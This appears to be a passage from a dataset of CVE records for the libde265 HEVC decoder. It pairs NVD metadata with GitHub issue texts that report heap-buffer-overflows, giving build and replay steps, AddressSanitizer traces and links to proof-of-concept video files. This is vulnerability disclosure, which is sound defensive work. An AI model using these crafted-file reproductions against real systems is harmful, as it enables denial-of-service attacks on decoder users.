#0 0x7f49fbc39790 in posix_memalign (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdf790)
#1 0x7f49fb7621cb in ALLOC_ALIGNED(unsigned long, unsigned long) (/libde265/build/libde265/liblibde265.so+0x1501cb)
#2 0x7f49fb76292a in de265_image_get_buffer(void*, de265_image_spec*, de265_image*, void*) (/libde265/build/libde265/liblibde265.so+0x15092a)
#3 0x7f49fb764d1a in de265_image::alloc_image(int, int, de265_chroma, std::shared_ptr<seq_parameter_set const>, bool, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x152d1a)
#4 0x7f49fb7490cc in decoded_picture_buffer::new_image(std::shared_ptr<seq_parameter_set const>, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x1370cc)
#5 0x7f49fb72a824 in decoder_context::generate_unavailable_reference_picture(seq_parameter_set const*, int, bool) (/libde265/build/libde265/liblibde265.so+0x118824)
#6 0x7f49fb72d332 in decoder_context::process_reference_picture_set(slice_segment_header*) (/libde265/build/libde265/liblibde265.so+0x11b332)
#7 0x7f49fb730d70 in decoder_context::process_slice_segment_header(slice_segment_header*, de265_error*, long, nal_header*, void*) (/libde265/build/libde265/liblibde265.so+0x11ed70)
#8 0x7f49fb726246 in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x114246)
#9 0x7f49fb72943e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#10 0x7f49fb729ab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#11 0x7f49fb710e95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#12 0x564c47181bc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#13 0x7f49fb242c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: unknown-crash (/libde265/build/libde265/liblibde265.so+0x27a238) in ff_hevc_put_hevc_qpel_v_3_8_sse(short*, long, unsigned char const*, long, int, int, short*)
Shadow bytes around the buggy address:
0x0fe9bf9748b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe9bf9748c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe9bf9748d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe9bf9748e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe9bf9748f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0fe9bf974900: 00[00]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe9bf974910: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe9bf974920: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe9bf974930: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe9bf974940: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe9bf974950: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==53150==ABORTING
```
### POC
https://github.com/FDU-Sec/poc/blob/main/libde265/poc4
### Environment
```shell
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
```
### Credit
Peng Deng ([Fudan University](https://secsys.fudan.edu.cn))
|
Crash in see-motion.cc: ff_hevc_put_hevc_qpel_v_3_8_sse
|
https://api.github.com/repos/strukturag/libde265/issues/338/comments
| 2 |
2022-10-10T14:34:34Z
|
2023-01-24T16:06:05Z
|
https://github.com/strukturag/libde265/issues/338
| 1,403,279,658 | 338 |
CVE-2022-43242
|
2022-11-02T14:15:13.637
|
Libde265 v1.0.8 was discovered to contain a heap-buffer-overflow vulnerability via mc_luma<unsigned char> in motion.cc. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted video file.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/strukturag/libde265/issues/340"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00020.html"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://www.debian.org/security/2023/dsa-5346"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:struktur:libde265:1.0.8:*:*:*:*:*:*:*",
"matchCriteriaId": "E86A03B2-D0E9-4887-AD06-FBA3F3500FC3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
"matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/strukturag/libde265/issues/340
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"strukturag",
"libde265"
] |
### Description
Heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x1787af) in void mc_luma<unsigned char>(base_context const*, seq_parameter_set const*, int, int, int, int, short*, int, unsigned char const*, int, int, int, int)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```
### Replay
```shell
git clone https://github.com/strukturag/libde265.git
cd libde265
mkdir build
cd build
cmake ../ -DCMAKE_CXX_FLAGS="-fsanitize=address"
make -j$(nproc)
./dec265/dec265 poc6-1
./dec265/dec265 poc6-2
```
### ASAN
```Shell
WARNING: end_of_sub_stream_one_bit not set to 1 when it should be
WARNING: CTB outside of image area (concealing stream error...)
WARNING: non-existing PPS referenced
WARNING: non-existing PPS referenced
WARNING: CTB outside of image area (concealing stream error...)
=================================================================
==45304==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f052d0ee810 at pc 0x7f052bc947b0 bp 0x7ffd586e96d0 sp 0x7ffd586e96c0
READ of size 1 at 0x7f052d0ee810 thread T0
#0 0x7f052bc947af in void mc_luma<unsigned char>(base_context const*, seq_parameter_set const*, int, int, int, int, short*, int, unsigned char const*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1787af)
#1 0x7f052bc85995 in generate_inter_prediction_samples(base_context*, slice_segment_header const*, de265_image*, int, int, int, int, int, int, int, PBMotion const*) (/libde265/build/libde265/liblibde265.so+0x169995)
#2 0x7f052bc9290f in decode_prediction_unit(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x17690f)
#3 0x7f052bcce2d9 in read_coding_unit(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b22d9)
#4 0x7f052bcd0250 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4250)
#5 0x7f052bcd0163 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4163)
#6 0x7f052bcc7726 in read_coding_tree_unit(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1ab726)
#7 0x7f052bcd09ea in decode_substream(thread_context*, bool, bool) (/libde265/build/libde265/liblibde265.so+0x1b49ea)
#8 0x7f052bcd270f in read_slice_segment_data(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1b670f)
#9 0x7f052bc316d2 in decoder_context::decode_slice_unit_sequential(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x1156d2)
#10 0x7f052bc31ec1 in decoder_context::decode_slice_unit_parallel(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x115ec1)
#11 0x7f052bc30c0f in decoder_context::decode_some(bool*) (/libde265/build/libde265/liblibde265.so+0x114c0f)
#12 0x7f052bc3093d in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x11493d)
#13 0x7f052bc3343e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#14 0x7f052bc33ab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#15 0x7f052bc1ae95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#16 0x562938164bc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#17 0x7f052b74cc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#18 0x5629381629b9 in _start (/libde265/build/dec265/dec265+0x49b9)
0x7f052d0ee810 is located 0 bytes to the right of 131088-byte region [0x7f052d0ce800,0x7f052d0ee810)
allocated by thread T0 here:
#0 0x7f052c143790 in posix_memalign (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdf790)
#1 0x7f052bc6c1cb in ALLOC_ALIGNED(unsigned long, unsigned long) (/libde265/build/libde265/liblibde265.so+0x1501cb)
#2 0x7f052bc6c92a in de265_image_get_buffer(void*, de265_image_spec*, de265_image*, void*) (/libde265/build/libde265/liblibde265.so+0x15092a)
#3 0x7f052bc6ed1a in de265_image::alloc_image(int, int, de265_chroma, std::shared_ptr<seq_parameter_set const>, bool, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x152d1a)
#4 0x7f052bc530cc in decoded_picture_buffer::new_image(std::shared_ptr<seq_parameter_set const>, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x1370cc)
#5 0x7f052bc34824 in decoder_context::generate_unavailable_reference_picture(seq_parameter_set const*, int, bool) (/libde265/build/libde265/liblibde265.so+0x118824)
#6 0x7f052bc37332 in decoder_context::process_reference_picture_set(slice_segment_header*) (/libde265/build/libde265/liblibde265.so+0x11b332)
#7 0x7f052bc3ad70 in decoder_context::process_slice_segment_header(slice_segment_header*, de265_error*, long, nal_header*, void*) (/libde265/build/libde265/liblibde265.so+0x11ed70)
#8 0x7f052bc30246 in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x114246)
#9 0x7f052bc3343e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#10 0x7f052bc33ab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#11 0x7f052bc1ae95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#12 0x562938164bc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#13 0x7f052b74cc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x1787af) in void mc_luma<unsigned char>(base_context const*, seq_parameter_set const*, int, int, int, int, short*, int, unsigned char const*, int, int, int, int)
Shadow bytes around the buggy address:
0x0fe125a15cb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe125a15cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe125a15cd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe125a15ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe125a15cf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0fe125a15d00: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe125a15d10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe125a15d20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe125a15d30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe125a15d40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0fe125a15d50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==45304==ABORTING
```
### POC
https://github.com/FDU-Sec/poc/blob/main/libde265/poc6-1
https://github.com/FDU-Sec/poc/blob/main/libde265/poc6-2
### Environment
```shell
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
```
### Credit
Peng Deng ([Fudan University](https://secsys.fudan.edu.cn))
|
Heap-buffer-overflow in motion.cc: mc_luma<unsigned char>
|
https://api.github.com/repos/strukturag/libde265/issues/340/comments
| 2 |
2022-10-10T14:40:58Z
|
2023-01-24T16:05:44Z
|
https://github.com/strukturag/libde265/issues/340
| 1,403,288,592 | 340 |
CVE-2022-43243
|
2022-11-02T14:15:13.797
|
Libde265 v1.0.8 was discovered to contain a heap-buffer-overflow vulnerability via ff_hevc_put_weighted_pred_avg_8_sse in sse-motion.cc. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted video file.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/strukturag/libde265/issues/339"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00020.html"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://www.debian.org/security/2023/dsa-5346"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:struktur:libde265:1.0.8:*:*:*:*:*:*:*",
"matchCriteriaId": "E86A03B2-D0E9-4887-AD06-FBA3F3500FC3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
"matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/strukturag/libde265/issues/339
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"strukturag",
"libde265"
] |
### Description
Heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x25f5ed) in ff_hevc_put_weighted_pred_avg_8_sse(unsigned char*, long, short const*, short const*, long, int, int)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```
### Replay
```shell
git clone https://github.com/strukturag/libde265.git
cd libde265
mkdir build
cd build
cmake ../ -DCMAKE_CXX_FLAGS="-fsanitize=address"
make -j$(nproc)
./dec265/dec265 poc5
```
### ASAN
```Shell
WARNING: non-existing PPS referenced
WARNING: non-existing PPS referenced
WARNING: non-existing PPS referenced
WARNING: CTB outside of image area (concealing stream error...)
WARNING: non-existing PPS referenced
WARNING: non-existing PPS referenced
=================================================================
==13339==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62b0000145b0 at pc 0x7f6f8c4ec5ee bp 0x7fff915210c0 sp 0x7fff915210b0
WRITE of size 16 at 0x62b0000145b0 thread T0
#0 0x7f6f8c4ec5ed in ff_hevc_put_weighted_pred_avg_8_sse(unsigned char*, long, short const*, short const*, long, int, int) (/libde265/build/libde265/liblibde265.so+0x25f5ed)
#1 0x7f6f8c403bbe in acceleration_functions::put_weighted_pred_avg(void*, long, short const*, short const*, long, int, int, int) const (/libde265/build/libde265/liblibde265.so+0x176bbe)
#2 0x7f6f8c3f7c6a in generate_inter_prediction_samples(base_context*, slice_segment_header const*, de265_image*, int, int, int, int, int, int, int, PBMotion const*) (/libde265/build/libde265/liblibde265.so+0x16ac6a)
#3 0x7f6f8c40390f in decode_prediction_unit(base_context*, slice_segment_header const*, de265_image*, PBMotionCoding const&, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x17690f)
#4 0x7f6f8c43e7e3 in read_prediction_unit(thread_context*, int, int, int, int, int, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b17e3)
#5 0x7f6f8c440264 in read_coding_unit(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b3264)
#6 0x7f6f8c441250 in read_coding_quadtree(thread_context*, int, int, int, int) (/libde265/build/libde265/liblibde265.so+0x1b4250)
#7 0x7f6f8c438726 in read_coding_tree_unit(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1ab726)
#8 0x7f6f8c4419ea in decode_substream(thread_context*, bool, bool) (/libde265/build/libde265/liblibde265.so+0x1b49ea)
#9 0x7f6f8c44370f in read_slice_segment_data(thread_context*) (/libde265/build/libde265/liblibde265.so+0x1b670f)
#10 0x7f6f8c3a26d2 in decoder_context::decode_slice_unit_sequential(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x1156d2)
#11 0x7f6f8c3a2ec1 in decoder_context::decode_slice_unit_parallel(image_unit*, slice_unit*) (/libde265/build/libde265/liblibde265.so+0x115ec1)
#12 0x7f6f8c3a1c0f in decoder_context::decode_some(bool*) (/libde265/build/libde265/liblibde265.so+0x114c0f)
#13 0x7f6f8c3a193d in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x11493d)
#14 0x7f6f8c3a443e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#15 0x7f6f8c3a4ab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#16 0x7f6f8c38be95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#17 0x560fb29a0bc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#18 0x7f6f8bebdc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#19 0x560fb299e9b9 in _start (/libde265/build/dec265/dec265+0x49b9)
0x62b0000145b0 is located 160 bytes to the right of 25360-byte region [0x62b00000e200,0x62b000014510)
allocated by thread T0 here:
#0 0x7f6f8c8b4790 in posix_memalign (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdf790)
#1 0x7f6f8c3dd1cb in ALLOC_ALIGNED(unsigned long, unsigned long) (/libde265/build/libde265/liblibde265.so+0x1501cb)
#2 0x7f6f8c3dd99d in de265_image_get_buffer(void*, de265_image_spec*, de265_image*, void*) (/libde265/build/libde265/liblibde265.so+0x15099d)
#3 0x7f6f8c3dfd1a in de265_image::alloc_image(int, int, de265_chroma, std::shared_ptr<seq_parameter_set const>, bool, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x152d1a)
#4 0x7f6f8c3c40cc in decoded_picture_buffer::new_image(std::shared_ptr<seq_parameter_set const>, decoder_context*, long, void*, bool) (/libde265/build/libde265/liblibde265.so+0x1370cc)
#5 0x7f6f8c3ab3ff in decoder_context::process_slice_segment_header(slice_segment_header*, de265_error*, long, nal_header*, void*) (/libde265/build/libde265/liblibde265.so+0x11e3ff)
#6 0x7f6f8c3a1246 in decoder_context::read_slice_NAL(bitreader&, NAL_unit*, nal_header&) (/libde265/build/libde265/liblibde265.so+0x114246)
#7 0x7f6f8c3a443e in decoder_context::decode_NAL(NAL_unit*) (/libde265/build/libde265/liblibde265.so+0x11743e)
#8 0x7f6f8c3a4ab3 in decoder_context::decode(int*) (/libde265/build/libde265/liblibde265.so+0x117ab3)
#9 0x7f6f8c38be95 in de265_decode (/libde265/build/libde265/liblibde265.so+0xfee95)
#10 0x560fb29a0bc9 in main (/libde265/build/dec265/dec265+0x6bc9)
#11 0x7f6f8bebdc86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x25f5ed) in ff_hevc_put_weighted_pred_avg_8_sse(unsigned char*, long, short const*, short const*, long, int, int)
Shadow bytes around the buggy address:
0x0c567fffa860: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fffa870: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fffa880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fffa890: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c567fffa8a0: 00 00 fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c567fffa8b0: fa fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa
0x0c567fffa8c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fffa8d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fffa8e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fffa8f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c567fffa900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==13339==ABORTING
```
### POC
https://github.com/FDU-Sec/poc/blob/main/libde265/poc5
### Environment
```shell
Ubuntu 16.04
Clang 10.0.1
gcc 5.5
```
### Credit
Peng Deng ([Fudan University](https://secsys.fudan.edu.cn))
|
Heap-buffer-overflow in sse-motion.cc: ff_hevc_put_weighted_pred_avg_8_sse
|
https://api.github.com/repos/strukturag/libde265/issues/339/comments
| 2 |
2022-10-10T14:36:46Z
|
2023-01-24T16:05:54Z
|
https://github.com/strukturag/libde265/issues/339
| 1,403,282,810 | 339 |
CVE-2022-43244
|
2022-11-02T14:15:13.967
|
Libde265 v1.0.8 was discovered to contain a heap-buffer-overflow vulnerability via put_qpel_fallback<unsigned short> in fallback-motion.cc. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted video file.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/strukturag/libde265/issues/342"
},
{
"source": "[email protected]",
"tags": [
"Mailing List",
"Third Party Advisory"
],
"url": "https://lists.debian.org/debian-lts-announce/2023/01/msg00020.html"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://www.debian.org/security/2023/dsa-5346"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:struktur:libde265:1.0.8:*:*:*:*:*:*:*",
"matchCriteriaId": "E86A03B2-D0E9-4887-AD06-FBA3F3500FC3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*",
"matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/strukturag/libde265/issues/342
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"strukturag",
"libde265"
] |
### Description
Heap-buffer-overflow (/libde265/build/libde265/liblibde265.so+0x14b860) in void put_qpel_fallback<unsigned short>(short*, long, unsigned short const*, long, int, int, short*, int, int, int)
### Version
```shell
$ ./dec265 -h
dec265 v1.0.8
--------------
usage: dec265 [options] videofile.bin
The video file must be a raw bitstream, or a stream with NAL units (option -n).
options:
-q, --quiet do not show decoded image
-t, --threads N set number of worker threads (0 - no threading)
-c, --check-hash perform hash check
-n, --nal input is a stream with 4-byte length prefixed NAL units
-f, --frames N set number of frames to process
-o, --output write YUV reconstruction
-d, --dump dump headers
-0, --noaccel do not use any accelerated code (SSE)
-v, --verbose increase verbosity level (up to 3 times)
-L, --no-logging disable logging
-B, --write-bytestream FILENAME write raw bytestream (from NAL input)
-m, --measure YUV compute PSNRs relative to reference YUV
-T, --highest-TID select highest temporal sublayer to decode
--disable-deblocking disable deblocking filter
--disable-sao disable sample-adaptive offset filter
-h, --help show help
```
### Replay
```shell
git clone https://github.com/strukturag/libde265.git
cd libde265
mkdir build
cd build
cmake ../ -DCMAKE_CXX_FLAGS="-fsanitize=address"
make -j$(nproc)
./dec265/dec265 poc8-1
